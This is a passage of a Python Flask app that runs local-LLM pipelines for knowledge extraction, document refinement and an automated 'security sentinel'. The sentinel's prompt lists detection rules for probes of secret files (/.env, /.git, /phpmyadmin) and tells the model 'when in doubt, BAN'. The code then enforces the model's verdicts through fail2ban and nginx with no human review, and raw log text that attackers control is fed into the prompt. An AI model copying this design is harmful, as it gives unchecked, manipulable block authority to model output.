chunks.append(source_text[i:i+chunk_size])
yield sse({"type": "status", "message": f"Processing {len(chunks)} chunk(s) with {extractor}..."})
all_facts = []
all_entities = []
all_relations = []
for ci, chunk in enumerate(chunks):
yield sse({"type": "status", "message": f"Extracting from chunk {ci+1}/{len(chunks)}..."})
extract_prompt = (
f"Extract structured knowledge from this text. Return a JSON object with:\n"
f" \"facts\": [\"fact 1\", \"fact 2\", ...],\n"
f" \"entities\": [{{\"name\": \"...\", \"type\": \"...\", \"description\": \"...\"}}, ...],\n"
f" \"relationships\": [{{\"from\": \"...\", \"to\": \"...\", \"type\": \"...\"}}, ...]\n\n"
f"Be thorough. Extract EVERY factual claim, named entity, and relationship.\n\n"
f"Text:\n{chunk}"
)
try:
result = query_model(extractor, extract_prompt)
yield sse({"type": "response", "model": extractor, "text": result, "role": f"extraction {ci+1}"})
# Try to parse JSON from response
try:
import re
json_match = re.search(r'\{[\s\S]*\}', result)
if json_match:
parsed = json.loads(json_match.group())
all_facts.extend(parsed.get("facts", []))
all_entities.extend(parsed.get("entities", []))
all_relations.extend(parsed.get("relationships", []))
except Exception:
all_facts.append(result[:500])
except Exception as e:
yield sse({"type": "response", "model": extractor, "text": str(e), "role": "error"})
steps.append({"step": "extraction", "facts": len(all_facts), "entities": len(all_entities), "relations": len(all_relations)})
# Verify key facts
yield sse({"type": "status", "message": f"{verifier} verifying {len(all_facts)} facts..."})
facts_sample = all_facts[:20] # verify up to 20
verify_prompt = (
f"Verify these extracted facts. For each, mark CORRECT, INCORRECT, or UNVERIFIABLE.\n"
f"If incorrect, provide the correction.\n\n"
)
for i, f in enumerate(facts_sample):
fact_str = f if isinstance(f, str) else json.dumps(f)
verify_prompt += f"{i+1}. {fact_str}\n"
try:
verification = query_model(verifier, verify_prompt)
yield sse({"type": "response", "model": verifier, "text": verification, "role": "verifier"})
steps.append({"step": "verification", "model": verifier, "output": verification[:1000]})
except Exception as e:
verification = str(e)
yield sse({"type": "response", "model": verifier, "text": str(e), "role": "error"})
# Summary
summary = (
f"KNOWLEDGE EXTRACTION SUMMARY\n{'='*40}\n\n"
f"Source: {source}\n"
f"Facts extracted: {len(all_facts)}\n"
f"Entities found: {len(all_entities)}\n"
f"Relationships mapped: {len(all_relations)}\n\n"
f"TOP ENTITIES:\n"
)
for e in all_entities[:15]:
if isinstance(e, dict):
summary += f" [{e.get('type','?')}] {e.get('name','?')}{e.get('description','')[:60]}\n"
summary += f"\nTOP RELATIONSHIPS:\n"
for r in all_relations[:15]:
if isinstance(r, dict):
summary += f" {r.get('from','?')} --[{r.get('type','?')}]--> {r.get('to','?')}\n"
yield sse({"type": "response", "model": "system", "text": summary, "role": "final"})
result_data = {
"facts": all_facts[:100],
"entities": all_entities[:50],
"relationships": all_relations[:50],
"verification": verification[:1000],
"source": source,
}
_save_pipeline("extract", prompt or source, steps, result_data, all_models, start)
# ─── CROSS-RUN LEARNING ───────────────────────────────────────
_routing_table = {}
_routing_table_ts = 0
_ROUTING_TTL = 1800 # 30 minutes
def _build_routing_table():
"""Build routing intelligence from historical scored runs."""
global _routing_table, _routing_table_ts
now = time.time()
if _routing_table and (now - _routing_table_ts) < _ROUTING_TTL:
return _routing_table
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Best model per mode
cur.execute("""
SELECT mode, m as model, ROUND(AVG(quality_score)::numeric, 2) as avg_score, COUNT(*) as runs
FROM team_runs, unnest(models_used) as m
WHERE quality_score IS NOT NULL AND quality_score >= 5
GROUP BY mode, m HAVING COUNT(*) >= 2
ORDER BY mode, avg_score DESC
""")
model_perf = {}
for r in cur.fetchall():
mode = r["mode"]
if mode not in model_perf:
model_perf[mode] = []
model_perf[mode].append({"model": r["model"], "avg_score": float(r["avg_score"]), "runs": r["runs"]})
# Best stage sequences for refine pipelines
cur.execute("""
SELECT result->>'content_type' as content_type,
result->'stages_run' as stages,
COUNT(*) as runs
FROM pipeline_runs
WHERE pipeline = 'refine' AND result->>'content_type' IS NOT NULL
GROUP BY result->>'content_type', result->'stages_run'
ORDER BY runs DESC
""")
stage_perf = {}
for r in cur.fetchall():
ct = r["content_type"]
if ct and ct not in stage_perf:
stage_perf[ct] = {"stages": r["stages"], "runs": r["runs"]}
_routing_table = {"model_perf": model_perf, "stage_perf": stage_perf}
_routing_table_ts = now
except Exception as e:
print(f"[ROUTING] build error: {e}")
return _routing_table
def _assess_stage(orchestrator, stage_name, stage_output, content_type):
"""Assess a stage's output — returns structured metadata for reactive decisions."""
assess_prompt = (
f"You just reviewed the output of a {stage_name} stage on a {content_type}.\n"
f"Assess the output briefly. Return ONLY a JSON object:\n"
f'{{"confidence": 0.0-1.0, "gaps": ["gap1", "gap2"], "severity": "low|medium|high", "suggest_stage": null}}\n\n'
f"If the output reveals a critical problem that needs a specific follow-up stage, set suggest_stage to one of: "
f"VALIDATE, CRITIQUE, EXPAND, STRUCTURE, STAKEHOLDER, CLARITY, EDGE_CASES, ALIGN\n"
f"Otherwise leave suggest_stage as null.\n\n"
f"OUTPUT TO ASSESS:\n{stage_output[:2000]}"
)
try:
raw = safe_query(orchestrator, assess_prompt)
text = raw.strip()
j_start = text.find("{")
j_end = text.rfind("}") + 1
if j_start >= 0 and j_end > j_start:
return json.loads(text[j_start:j_end])
except Exception:
pass
return {"confidence": 0.5, "gaps": [], "severity": "low", "suggest_stage": None}
def _reactive_decide(assessment, remaining_stages, stages_executed, max_stages):
"""Decide whether to insert, skip, or continue based on assessment."""
budget_left = max_stages - stages_executed
if budget_left <= 1:
return "continue", None, "budget exhausted"
suggested = assessment.get("suggest_stage")
severity = assessment.get("severity", "low")
confidence = assessment.get("confidence", 0.5)
# Insert a stage if the assessment suggests one and it's not already planned
if suggested and suggested not in remaining_stages and severity in ("medium", "high") and budget_left >= 2:
return "insert", suggested, f"{severity} severity — {', '.join(assessment.get('gaps', [])[:2])}"
# Skip next stage if confidence is very high and remaining stage seems redundant
if confidence > 0.9 and len(remaining_stages) > 1 and severity == "low":
next_stage = remaining_stages[0]
# Don't skip synthesis-oriented stages
if next_stage in ("EXPAND", "CLARITY"):
return "skip", next_stage, f"high confidence ({confidence:.0%}) — {next_stage} likely unnecessary"
return "continue", None, None
def run_refine(config):
"""Auto-Refine: AI analyzes content, selects the best sequence of modes, executes them, synthesizes final version."""
import time
start = time.time() * 1000
prompt = config["prompt"]
orchestrator = config.get("orchestrator", "qwen2.5:latest")
workers = config.get("models", ["qwen2.5:latest", "mistral:latest"])
max_stages = config.get("max_stages", 5)
yield sse({"type": "clear"})
steps = []
all_models = [orchestrator] + workers
# Stage 1: Analyze the content and plan the refinement pipeline
yield sse({"type": "status", "message": "Analyzing content and planning refinement pipeline..."})
yield sse({"type": "progress", "current": 0, "total": 3, "label": "analyzing"})
# Inject routing intelligence from historical data
routing = _build_routing_table()
routing_context = ""
if routing.get("stage_perf"):
routing_context = "\nHISTORICAL DATA (from past successful runs):\n"
for ct, data in list(routing["stage_perf"].items())[:5]:
routing_context += f"- For '{ct}' content, sequence {data['stages']} was used {data['runs']} times\n"
routing_context += "Use this as guidance but adapt to the specific content.\n"
plan_prompt = f"""You are a refinement strategist. Analyze this content and determine the optimal sequence of refinement stages to improve it.
CONTENT TO REFINE:
{prompt[:8000]}
{routing_context}
AVAILABLE REFINEMENT STAGES (pick 3-{max_stages} in the best order):
- VALIDATE: Fact-check claims, verify accuracy, flag unsupported statements
- CRITIQUE: Find weaknesses, gaps, contradictions, missing perspectives
- EXPAND: Add depth to thin sections, elaborate on key points, fill gaps identified by critique
- STRUCTURE: Improve organization, flow, headings, logical progression
- STAKEHOLDER: Analyze from multiple stakeholder perspectives (user, developer, business, ops)
- CLARITY: Simplify language, remove jargon, improve readability, sharpen wording
- EDGE_CASES: Identify edge cases, failure modes, what-ifs, risks not addressed
- ALIGN: Check alignment between stated goals and actual content — does the document deliver on its promise?
Respond with ONLY a JSON object:
{{
"content_type": "what this content is (PRD, essay, proposal, spec, etc)",
"current_quality": "brief assessment of current state",
"stages": ["STAGE1", "STAGE2", "STAGE3"],
"reasoning": "why this order, one sentence per stage"
}}
Pick ONLY the stages that will meaningfully improve THIS specific content. Not every document needs every stage. Order matters — dependencies first."""
try:
plan_raw = safe_query(orchestrator, plan_prompt)
yield sse({"type": "response", "model": orchestrator, "text": plan_raw, "role": "strategist"})
steps.append({"step": "plan", "model": orchestrator, "output": plan_raw[:1000]})
except Exception as e:
yield sse({"type": "response", "model": orchestrator, "text": f"Planning failed: {e}", "role": "error"})
return
# Parse the plan
plan_text = plan_raw.strip()
if "```" in plan_text:
plan_text = plan_text.split("```")[1]
if plan_text.startswith("json"):
plan_text = plan_text[4:]
start_idx = plan_text.find("{")
end_idx = plan_text.rfind("}") + 1
try:
plan = json.loads(plan_text[start_idx:end_idx])
stages = plan.get("stages", ["CRITIQUE", "EXPAND", "STRUCTURE"])[:max_stages]
except Exception:
stages = ["CRITIQUE", "EXPAND", "STRUCTURE"]
plan = {"content_type": "document", "current_quality": "unknown", "reasoning": "fallback plan"}
content_type = plan.get("content_type", "document")
total_stages = len(stages) + 1 # +1 for final synthesis
yield sse({"type": "status", "message": f"Pipeline: {''.join(stages)} → SYNTHESIZE"})
# Stage 2: Execute each refinement stage
current_content = prompt
stage_outputs = {}
stage_prompts = {
"VALIDATE": "You are a rigorous fact-checker. Review this {type} and identify:\n1. Claims that need evidence or citations\n2. Statements that may be inaccurate\n3. Assumptions presented as facts\n4. Numbers or statistics that seem off\n\nFor each issue, explain WHY it's a concern and suggest a fix.\n\nCONTENT:\n{content}",
"CRITIQUE": "You are a senior reviewer who has seen hundreds of {type}s. Give a brutally honest critique:\n1. What's weak or underdeveloped?\n2. What's missing entirely?\n3. What contradicts itself?\n4. What would a skeptical reader push back on?\n5. What's the single biggest improvement this needs?\n\nBe specific — quote the parts you're criticizing.\n\nCONTENT:\n{content}",
"EXPAND": "You are a domain expert deepening a {type}. Based on the critique below, expand the weak areas:\n\nPREVIOUS CRITIQUE:\n{prev}\n\nORIGINAL CONTENT:\n{content}\n\nFor each gap or weakness identified, write the missing content that should be added. Be substantive — don't just say 'add more detail', actually write the detail.",
"STRUCTURE": "You are an editor restructuring a {type} for maximum clarity and impact. Reorganize this content:\n1. Improve the logical flow — put dependencies before dependents\n2. Add clear section headings if missing\n3. Move related ideas together\n4. Ensure the opening sets up what follows\n5. Ensure the conclusion delivers on the opening's promise\n\nReturn the FULL restructured document, not just suggestions.\n\nCONTENT:\n{content}",
"STAKEHOLDER": "You are conducting a stakeholder analysis of this {type}. Analyze from these perspectives:\n1. END USER: Does this serve their needs? What's missing from their view?\n2. DEVELOPER/IMPLEMENTER: Is this buildable? What's ambiguous?\n3. BUSINESS/LEADERSHIP: Does this align with business goals? ROI clear?\n4. OPERATIONS: Deployment, maintenance, scaling concerns?\n\nFor each perspective, give specific feedback with quotes from the content.\n\nCONTENT:\n{content}",
"CLARITY": "You are a clarity editor. Improve the readability of this {type}:\n1. Replace jargon with plain language (or define it on first use)\n2. Break long sentences into shorter ones\n3. Remove filler words and redundancy\n4. Sharpen vague language into concrete specifics\n5. Ensure consistent terminology throughout\n\nReturn the FULL improved document.\n\nCONTENT:\n{content}",
"EDGE_CASES": "You are a risk analyst reviewing this {type}. Identify:\n1. Edge cases not addressed\n2. Failure modes not considered\n3. 'What if X goes wrong?' scenarios\n4. Scale concerns (what breaks at 10x, 100x?)\n5. Security, privacy, or compliance gaps\n6. Dependencies that could fail\n\nFor each risk, rate severity (low/medium/high) and suggest mitigation.\n\nCONTENT:\n{content}",
"ALIGN": "You are checking alignment between intent and execution in this {type}.\n1. What does the opening promise?\n2. Does the body deliver on every promise?\n3. Are there sections that drift from the stated goal?\n4. Is the scope consistent throughout?\n5. Does the conclusion match the introduction?\n\nQuote specific misalignments and suggest fixes.\n\nCONTENT:\n{content}",
}
prev_output = ""
remaining = list(stages)
stages_executed = 0
worker_idx = 0
while remaining and stages_executed < max_stages:
stage = remaining.pop(0)
stages_executed += 1
worker = workers[worker_idx % len(workers)]
worker_idx += 1
total_stages = stages_executed + len(remaining) + 1 # +1 for synthesis
yield sse({"type": "progress", "current": stages_executed, "total": total_stages, "label": stage.lower()})
yield sse({"type": "status", "message": f"Stage {stages_executed}: {stage} ({worker})..."})
template = stage_prompts.get(stage, "Analyze and improve this {type}:\n\n{content}")
stage_prompt = template.format(
type=content_type,
content=cap_response(current_content)[:6000],
prev=cap_response(prev_output)[:3000] if prev_output else "(none)"
)
try:
result = safe_query(worker, stage_prompt)
yield sse({"type": "response", "model": worker, "text": result, "role": stage.lower()})
stage_outputs[stage] = result
prev_output = result
steps.append({"step": stage, "model": worker, "output": result[:1000]})
if stage in ("STRUCTURE", "CLARITY"):
current_content = result
# Reactive assessment — should we adjust the pipeline?
if remaining and stages_executed < max_stages - 1:
assessment = _assess_stage(orchestrator, stage, result, content_type)
decision, target, reason = _reactive_decide(assessment, remaining, stages_executed, max_stages)
if decision == "insert" and target:
remaining.insert(0, target)
yield sse({"type": "response", "model": "system", "text": f"Reactive: inserting {target} stage — {reason}", "role": "reactive"})
steps.append({"step": "reactive_insert", "target": target, "reason": reason})
elif decision == "skip" and target:
remaining.remove(target)
yield sse({"type": "response", "model": "system", "text": f"Reactive: skipping {target}{reason}", "role": "reactive"})
steps.append({"step": "reactive_skip", "target": target, "reason": reason})
except Exception as e:
yield sse({"type": "response", "model": worker, "text": f"{stage} failed: {e}", "role": "error"})
stage_outputs[stage] = f"Error: {e}"
total_stages = stages_executed + 1
# Stage 3: Final synthesis — combine all insights into the definitive refined version
yield sse({"type": "progress", "current": total_stages, "total": total_stages, "label": "synthesize"})
yield sse({"type": "status", "message": f"Final synthesis with {orchestrator}..."})
insights_text = ""
for stage, output in stage_outputs.items():
insights_text += f"\n{'='*40}\n{stage} FINDINGS:\n{'='*40}\n{output[:2500]}\n"
synth_prompt = f"""You are producing the FINAL refined version of a {content_type}.
ORIGINAL CONTENT:
{cap_response(prompt)[:5000]}
REFINEMENT INSIGHTS:
{cap_response(insights_text)[:8000]}
Your task: produce the COMPLETE, FINAL, refined version of this {content_type}. This is not a summary of changes — this IS the improved document. Incorporate every valid insight from the refinement stages. The output should be ready to use as-is.
Rules:
- Keep the original author's voice and intent
- Integrate improvements seamlessly, don't annotate them
- If a stage found issues, fix them in the text
- If a stage suggested additions, add them in the right place
- The result should read as if a senior expert wrote it from scratch
- Output the FULL document, not a diff or summary"""
try:
final = safe_query(orchestrator, synth_prompt)
yield sse({"type": "response", "model": orchestrator, "text": final, "role": "final", "highlight": True})
steps.append({"step": "synthesis", "model": orchestrator, "output": final[:2000]})
except Exception as e:
yield sse({"type": "response", "model": orchestrator, "text": f"Synthesis failed: {e}", "role": "error"})
result_data = {
"content_type": content_type,
"stages_run": stages,
"stage_count": len(stages),
"plan": plan,
}
_save_pipeline("refine", prompt[:200], steps, result_data, all_models, start)
# ─── AI SECURITY SENTINEL ─────────────────────────────────────
SENTINEL_LOG = "/var/log/llm-team-sentinel.log"
SENTINEL_MODEL = "qwen2.5:latest"
SENTINEL_INTERVAL = 300 # 5 minutes
_sentinel_last_pos = 0
_sentinel_results = [] # last 50 analyses
_sentinel_stats = {"scans": 0, "bans": 0, "last_run": None, "last_error": None, "next_scan_ts": 0}
def _sentinel_log_entry(msg):
"""Write to sentinel log file."""
try:
with open(SENTINEL_LOG, "a") as f:
f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} {msg}\n")
except Exception:
pass
def _sentinel_scan():
"""Read new security log entries and analyze with local AI."""
global _sentinel_last_pos
import subprocess, collections
_sentinel_stats["last_run"] = time.strftime("%Y-%m-%d %H:%M:%S")
_sentinel_stats["last_run_ts"] = time.time()
_sentinel_stats["scans"] += 1
# Read new lines since last scan
try:
with open("/var/log/llm-team-security.log") as f:
f.seek(0, 2) # end of file
file_size = f.tell()
if _sentinel_last_pos > file_size:
_sentinel_last_pos = 0 # log rotated
f.seek(_sentinel_last_pos)
new_lines = f.readlines()
_sentinel_last_pos = f.tell()
except Exception as e:
_sentinel_stats["last_error"] = str(e)
return
if not new_lines:
_sentinel_log_entry("SCAN_COMPLETE new_lines=0 action=none")
return
# Aggregate by IP
ip_activity = collections.defaultdict(list)
for line in new_lines:
line = line.strip()
if not line:
continue
ip = None
for token in line.split():
if token.startswith("ip="):
ip = token[3:]
break
if ip and not ip.startswith("192.168."):
ip_activity[ip].append(line)
if not ip_activity:
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} external_ips=0 action=none")
return
# Get currently banned IPs to skip
banned = set()
try:
for jail in ["llm-team-exploit", "llm-team-login"]:
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
for line in result.stdout.split("\n"):
if "Banned IP list" in line:
for ip in line.split(":", 1)[1].strip().split():
banned.add(ip.strip())
except Exception:
pass
# Build analysis prompt for the AI
analysis_items = []
for ip, lines in ip_activity.items():
if ip in banned:
continue
summary = f"IP {ip} ({len(lines)} events):\n"
for l in lines[:8]: # cap at 8 lines per IP
summary += f" {l}\n"
analysis_items.append((ip, summary, lines))
if not analysis_items:
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} all_banned_or_lan action=none")
return
# Batch analysis prompt
prompt = (
"You are an aggressive cybersecurity sentinel protecting a PRIVATE production web application. "
"There is NO legitimate reason for unknown IPs to probe this server. "
"Analyze these log entries and classify each IP. Respond with ONLY a JSON array:\n"
'[{"ip": "x.x.x.x", "threat": "none|low|medium|high|critical", "action": "ignore|monitor|ban", '
'"reason": "brief reason", "attack_type": "scanner|bruteforce|exploit|bot|compromised_host|legitimate"}]\n\n'
"RULES (follow strictly — err on the side of banning):\n"
"- ANY probe for /.git, /.env, /wp-admin, /phpmyadmin, /xmlrpc.php, /admin.php, /config = BAN immediately\n"
"- ANY probe for .env.production, .env.local, .env.development = BAN — this is targeted recon\n"
"- Multiple different user agents from same IP = rotating scanner = BAN\n"
"- HeadlessChrome, curl, python-requests doing probing = automated scanner = BAN\n"
"- Failed logins >= 2 = BAN\n"
"- /robots.txt or /favicon.ico ALONE from a known bot UA = ignore\n"
"- Everything else = BAN if it looks automated, monitor if genuinely ambiguous\n"
"- When in doubt, BAN. This is a private server.\n\n"
"Log entries:\n\n"
)
for ip, summary, _ in analysis_items[:15]: # max 15 IPs per scan
prompt += summary + "\n"
# Query local AI
try:
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
resp = requests.post(f"{base}/api/generate", json={
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
"options": {"num_ctx": 4096, "temperature": 0.1}
}, timeout=60)
resp.raise_for_status()
ai_response = resp.json()["response"]
except Exception as e:
_sentinel_stats["last_error"] = f"AI query failed: {e}"
_sentinel_log_entry(f"AI_ERROR error={e}")
return
# Parse AI response
try:
# Extract JSON from response (handle markdown code blocks)
text = ai_response.strip()
if "```" in text:
text = text.split("```")[1]
if text.startswith("json"):
text = text[4:]
# Find the JSON array
start_idx = text.find("[")
end_idx = text.rfind("]") + 1
if start_idx >= 0 and end_idx > start_idx:
text = text[start_idx:end_idx]
verdicts = json.loads(text)
except Exception as e:
_sentinel_stats["last_error"] = f"Parse failed: {e}"
_sentinel_log_entry(f"PARSE_ERROR response={ai_response[:200]}")
return
# Execute actions
ban_count = 0
for v in verdicts:
ip = v.get("ip", "")
action = v.get("action", "ignore")
threat = v.get("threat", "low")
reason = v.get("reason", "")
attack_type = v.get("attack_type", "unknown")
result_entry = {
"ip": ip, "threat": threat, "action": action,
"reason": reason, "attack_type": attack_type,
"time": time.strftime("%Y-%m-%d %H:%M:%S")
}
_sentinel_results.append(result_entry)
if len(_sentinel_results) > 50:
_sentinel_results.pop(0)
if action == "ban" and ip and not ip.startswith("192.168."):
try:
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
capture_output=True, text=True, timeout=5)
_nginx_ban(ip)
_kill_connections(ip)
ban_count += 1
sec_log.warning("AI_BAN ip=%s threat=%s reason=%s attack=%s", ip, threat, reason, attack_type)
_sentinel_log_entry(f"AI_BAN ip={ip} threat={threat} reason={reason} attack_type={attack_type}")
except Exception as e:
_sentinel_log_entry(f"BAN_FAILED ip={ip} error={e}")
else:
_sentinel_log_entry(f"AI_VERDICT ip={ip} threat={threat} action={action} reason={reason} attack_type={attack_type}")
_sentinel_stats["bans"] += ban_count
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} ips_analyzed={len(analysis_items)} verdicts={len(verdicts)} bans={ban_count}")
def _sentinel_loop():
"""Background loop running every SENTINEL_INTERVAL seconds."""
global _sentinel_last_pos
# Start from end of file (only analyze new entries)
try:
with open("/var/log/llm-team-security.log") as f:
f.seek(0, 2)
_sentinel_last_pos = f.tell()
except Exception:
pass
_sentinel_log_entry("SENTINEL_START model=" + SENTINEL_MODEL + " interval=" + str(SENTINEL_INTERVAL) + "s")
while True:
_sentinel_stats["next_scan_ts"] = time.time() + SENTINEL_INTERVAL
time.sleep(SENTINEL_INTERVAL)
try:
_sentinel_scan()
except Exception as e:
_sentinel_stats["last_error"] = str(e)
_sentinel_log_entry(f"SENTINEL_ERROR {e}")
# API for sentinel status
@app.route("/api/admin/sentinel")
@admin_required
def admin_sentinel_status():
now = time.time()
next_ts = _sentinel_stats.get("next_scan_ts", 0)
next_in = max(0, next_ts - now)
return jsonify({
"stats": _sentinel_stats,
"recent_verdicts": list(reversed(_sentinel_results[-20:])),
"model": SENTINEL_MODEL,
"interval": SENTINEL_INTERVAL,
"next_scan_in": round(next_in, 1),
"server_time": round(now, 1)
})
# Start sentinel thread
_sentinel_thread = threading.Thread(target=_sentinel_loop, daemon=True)
_sentinel_thread.start()
if __name__ == "__main__":
# Cleanup stale lab experiments on startup
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE status = 'running'")
conn.commit()
except Exception:
pass
print("\n LLM Team UI running at http://localhost:5000\n")
print(f" AI Sentinel active: {SENTINEL_MODEL} scanning every {SENTINEL_INTERVAL}s\n")
app.run(host="127.0.0.1", port=5000, debug=False, threaded=True)